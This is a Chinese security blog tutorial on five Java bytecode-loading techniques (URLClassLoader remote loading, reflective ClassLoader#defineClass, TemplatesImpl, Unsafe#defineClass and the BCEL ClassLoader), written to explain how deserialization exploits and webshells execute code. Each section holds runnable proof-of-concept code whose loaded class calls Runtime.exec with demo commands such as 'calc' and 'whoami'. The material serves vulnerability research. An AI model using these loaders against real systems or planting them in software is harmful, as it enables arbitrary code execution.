作者:知道创宇-t4rreag

类的加载是Java非常重要的一个机制,为了后面更好的研究漏洞,需要掌握多种类加载机制,更好的理解漏洞原理。

关于类加载原理可以回顾我以前的文章ClassLoader

为什么说类的加载非常重要,因为类的加载提供了继反序列化后,另外一种可以执行命令的方式:当某个类被加载时,类中的静态代码块儿会被执行

一般来说类中代码块执行机制如下:

初始化:执行静态代码块

实例化:执行构造代码块、无参构造方法

本文将介绍5中常见的字节码加载方式:

  • URLClassLoader

  • ClassLoader#defineClass

  • TemplatesImpl

  • Unsafe#defineClass

  • BCEL ClassLoader

URLClassLoader远程加载字节码


URLClassLoader继承了ClassLoader,URLClassLoader提供了远程加载的能力,在写漏洞利用的payload或者webshell的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用(当然,该方式只适应于目标出网的情况)。

正常情况下,Java会根据配置项sun.boot.class.path和java.class.path中列举到的基础路径(这些路径是经过处理后的 java.net.URL类)来寻找.class文件来加载,而这个基础路径有分为三种情况:

  • URL以/结尾,则认为是一个JAR文件,使用JarLoader来寻找类,即为在Jar包中寻找.class文件

  • URL以/结尾,且协议名是file,则使用FileLoader来寻找类,即为在本地文件系统中寻找.class文件

  • URL以/结尾,且协议名不是file,则使用最基础的Loader来寻找类

我们使用HTTP协议测试一下,让URLClassLoader从远程加载class文件

RuntimeTest.java


import java.io.ByteArrayOutputStream;
import java.io.IOException;

import java.io.InputStream;


public class RuntimeTest {

public static void whoami(String[] args) throws IOException {

Process process = Runtime.getRuntime().exec("whoami");

InputStream in = process.getInputStream();

ByteArrayOutputStream baos = new ByteArrayOutputStream();

byte[] b = new byte[1024];

int a = -1;

while((a = in.read(b))!=-1){

baos.write(b,0, a);

}

System.out.println(baos.toString());

}

}


URLClassLoaderTest.java

import java.net.URL;
import java.net.URLClassLoader;

public class URLClassLoaderTest {


public static void main(String[] args) throws Exception {

URL[] urls = {new URL("http://localhost:8080/")};

URLClassLoader urlClassLoader = URLClassLoader.newInstance(urls);

Class<?> runtimeclass = urlClassLoader.loadClass("RuntimeTest");

Object object = runtimeclass.newInstance();

runtimeclass.getDeclaredMethod("whoami").invoke(object);

}

}


启动一个服务,并将RuntimeTest.java编译后的class文件放到根目录(http://localhost:8080/RuntimeTest.class)

成功加载

ClassLoader#defineClass直接加载字节码



上面已经介绍了URLClassLoader加载class,但其实不管是那种方式加载字节码,都会经历以下3个阶段

  • loadClass的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行findClass

  • findClass的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给defineClass

  • defineClass的作用是处理前面传入的字节码,将其处理成真正的Java类

所以其实真正加载类的方法是defineClass

java中的ClassLoader#defineClass0/1/2是native()方法,是JVM调用的C的方法

我们这里就编写一个测试类,来简单实现一下ClassLoader#defineClass加载类

要被加载的类

test.java

import java.io.IOException;
public class test {

static {


try {

Runtime.getRuntime().exec("calc");

} catch (IOException e) {

e.printStackTrace();

}

}

}


defineClassTest.java

package com.LoaderOfClass;
import java.lang.reflect.Method;

import java.nio.file.Files;


import java.nio.file.Paths;

public class defineClassTest {

public static void main(String[] args) throws Exception {

ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();

Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);

defineClassMethod.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("E:\\test.class"));

Class defineclass = (Class) defineClassMethod.invoke(systemClassLoader, "test", code, 0, code.length);

defineclass.newInstance();

}

}

这里要注意的一点是:defineclass()不会初始化类,也就是说不会执行类中的static代码块

通过defineclass.newInstance(),实例化该类(被加载的类)后才可执行静态代码块

TemplatesImpl加载字节码



在多个反序列化链中,以及fastjosn等组件中,都会有TemplatesImpl身影,因此有必要好好研究下

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类中定义了一个内部类TransletClassLoader

该类重写了defineClass()方法,并且作用域为default,可以被外部调用

从TransletClassLoader#defineClass()开始,向上寻找调用链,最终的调用链为

TransletClassLoader#defineClass()
TemplatesImpl#defineTransletClasses()

TemplatesImpl#getTransletInstance()

TemplatesImpl#newTransformer()

TemplatesImpl#getOutputProperties()

最外面的两层TemplatesImpl#newTransformer()以及TemplatesImpl#getOutputProperties()都是public修饰的,因此可以被外部调用

我们使用TemplatesImpl#newTransformer()来编写一个简单的POC

测试类TemplatesImplTest.java

package com.LoaderOfClass;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;


import javax.xml.transform.TransformerConfigurationException;

import java.io.IOException;

import java.nio.file.Files;

import java.nio.file.Paths;

import static cn.hutool.core.bean.BeanUtil.setFieldValue;

public class TemplatesImplTest {

public static void main(String[] args) throws IOException, TransformerConfigurationException {

TemplatesImpl templatesImpl = new TemplatesImpl();

byte[] code = Files.readAllBytes(Paths.get("E:\\testTemplatesImpl.class"));

setFieldValue(templatesImpl, "_bytecodes", new byte[][] {code});

setFieldValue(templatesImpl, "_name", "test");

setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

templatesImpl.newTransformer();

}

}


需要用到BeanUtil.setFieldValue反射设置类的属性值,导入方式如下

Maven方式

<dependency>
<groupId>cn.hutool</groupId>

<artifactId>hutool-all</artifactId>

<version>5.5.8</version>

</dependency>


jar包方式

https://repo1.maven.org/maven2/cn/hutool/hutool-all/5.5.8/

测试类中,setFieldValue方法用来设置私有属性,这里我们设置了三个属性:

  • _bytecodes:由字节码组成的数组

  • _name:可以是任意字符串,只要不为null即可

  • _tfactory:需要是一个TransformerFactoryImpl对象,因为TemplatesImpl#defineTransletClasses()方法里调用了tfactory.getExternalExtensionsMap(),如果是null会出错。

另外,TemplatesImpl中对加载的字节码是有一定要求的:这个字节码对应的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类

所以,我们需要构造一个类继承AbstractTranslet

testTemplatesImpl.java

package com.LoaderOfClass;
import com.sun.org.apache.xalan.internal.xsltc.DOM;

import com.sun.org.apache.xalan.internal.xsltc.TransletException;


import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;

import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class testTemplatesImpl extends AbstractTranslet {

@Override

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

@Override

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

public testTemplatesImpl() throws IOException {

super();

Runtime.getRuntime().exec("calc");

}

}


将该类编译好后,放到指定的目录下,使用Files.readAllBytes()获取字节码

运行测试类,结果如下

Unsafe#defineClass直接加载字节码


sun.misc.Unsafe是Java底层API(仅限Java内部使用,反射可调用)提供的一个神奇的Java类,Unsafe提供了非常底层的内存、CAS、线程调度、类、对象等操作、Unsafe正如它的名字一样它提供的几乎所有的方法都是不安全的。


获取Unsafe对象


Unsafe类是一个单例,调用的方法为getUnsafe,如下。可以看到,虽然是可以调用,但是会有一步判断,判断是不是内部会检查该CallerClass是不是由系统类加载器Bootstrap ClassLoader加载。

@CallerSensitive
public static Unsafe getUnsafe() {

Class var0 = Reflection.getCallerClass();


if(!VM.isSystemDomainLoader(var0.getClassLoader())) {

throw new SecurityException("Unsafe");

} else {

return theUnsafe;

}

}


由上代码片段可以看到,Unsafe类是一个不能被继承的类且不能直接通过new的方式创建Unsafe类实例,如果通过getUnsafe方法获取Unsafe实例还会检查类加载器,默认只允许Bootstrap Classloader调用。

通常的调用getUnsafe()的方法:

  1. 通过JVM参数-Xbootclasspath指定要使用的类为启动类;

  2. 在Unsafe类中有一个成员变量,因此我们可以通过反射将private单例实例的accessible设置为true,然后通过Field的get方法获取。

既然无法直接通过Unsafe.getUnsafe()的方式调用,那么可以使用反射的方式去获取Unsafe类实例。

测试使用Unsafe#defineClass加载字节码


被加载的类使用相同的test.java

import java.io.IOException;
public class test {

static {


try {

Runtime.getRuntime().exec("calc");

} catch (IOException e) {

e.printStackTrace();

}

}

}

UnsafeDefineClass.java

package com.LoaderOfClass;

import sun.misc.Unsafe;

import java.lang.reflect.Field;

import java.nio.file.Files;

import java.nio.file.Paths;

public class UnsafeDefineClass {

public static void main(String[] args) throws Exception {

ClassLoader classLoader = ClassLoader.getSystemClassLoader();

Class unsafeClass = Unsafe.class;

Field theUnsafeField = unsafeClass.getDeclaredField("theUnsafe");

theUnsafeField.setAccessible(true);

Unsafe unsafe = (Unsafe) theUnsafeField.get(null);

byte[] code = Files.readAllBytes(Paths.get("E:\\test.class"));

Class testclass = unsafe.defineClass("test", code, 0 , code.length, classLoader, null);

testclass.newInstance();

}

}


BCELClassLoader


BCEL ClassLoader全名Apache Common BCEL

我们可以通过BCEL提供的两个类Repository和Utility来利用

  • Repository:用于将一个Class先转换成原生字节码;

  • Utility:用于将原生的字节码转换成BCEL格式的字节码;

BCEL这个包中有类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个ClassLoader,但是他重写了Java内置的ClassLoader#loadClass()方法。

在ClassLoader#loadClass()中,其会判断类名是否是$$BCEL$$开头,如果是的话,将会对这个字符串进行decode。

编写测试类

test.java

package com.audit;
import java.io.IOException;

public class test {


static {

try {

Runtime.getRuntime().exec("calc");

} catch (IOException e) {

e.printStackTrace();

}

}

}


TestBCEL.java

package com.LoaderOfClass;
import com.sun.org.apache.bcel.internal.Repository;

import com.sun.org.apache.bcel.internal.classfile.JavaClass;

import com.sun.org.apache.bcel.internal.classfile.Utility;

import com.sun.org.apache.bcel.internal.util.ClassLoader;

public class TestBCEL {

public static void main(String[] args) throws Exception {

JavaClass javaClass = Repository.lookupClass(test.class);

String encode = Utility.encode(javaClass.getBytes(), true);

new ClassLoader().loadClass("$$BCEL$$" + encode).newInstance();

}

}

BCELlassLoader在利用链中也经常会出现,但在JDK 8u251后,这个ClassLoader被移除了。

关于BCELClassLoader,更详细的信息可以参考

https://blog.csdn.net/asasd101/article/details/110252587

举报/反馈

知道创宇云安全

47获赞 107粉丝
我们的愿景是:为了更好更安全的互联网
关注
0
0
收藏
分享